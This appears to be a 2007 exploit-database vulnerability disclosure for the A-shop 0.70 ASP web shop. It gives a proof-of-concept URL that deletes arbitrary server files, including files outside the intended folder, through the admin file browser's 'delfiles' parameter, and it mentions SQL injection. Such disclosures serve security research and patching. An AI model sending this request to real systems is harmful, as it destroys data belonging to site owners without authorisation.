A-shop 0.70 - Remote File Deletion

Author: Timq
type: webapps
platform: asp
port: 
date_added: 2007-07-17 
date_updated:  
verified: 1 
codes: OSVDB-38303;CVE-2007-3937;OSVDB-38302;CVE-2007-3936 
tags: 
aliases:  
screenshot_url:  
application_url: 

A-shop <=0.70 Multiple vulnerabilities

Found Bug: Timq
site:http://private-node.net
email:timq@hushmail.com


Vendor:http://www.rammdev.com/ashop/

PoC:
http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server]

It is possible to delete not only the files in the folders listed,
but also ouside its directory.
Also possible sql injections in other areas.

# milw0rm.com [2007-07-18]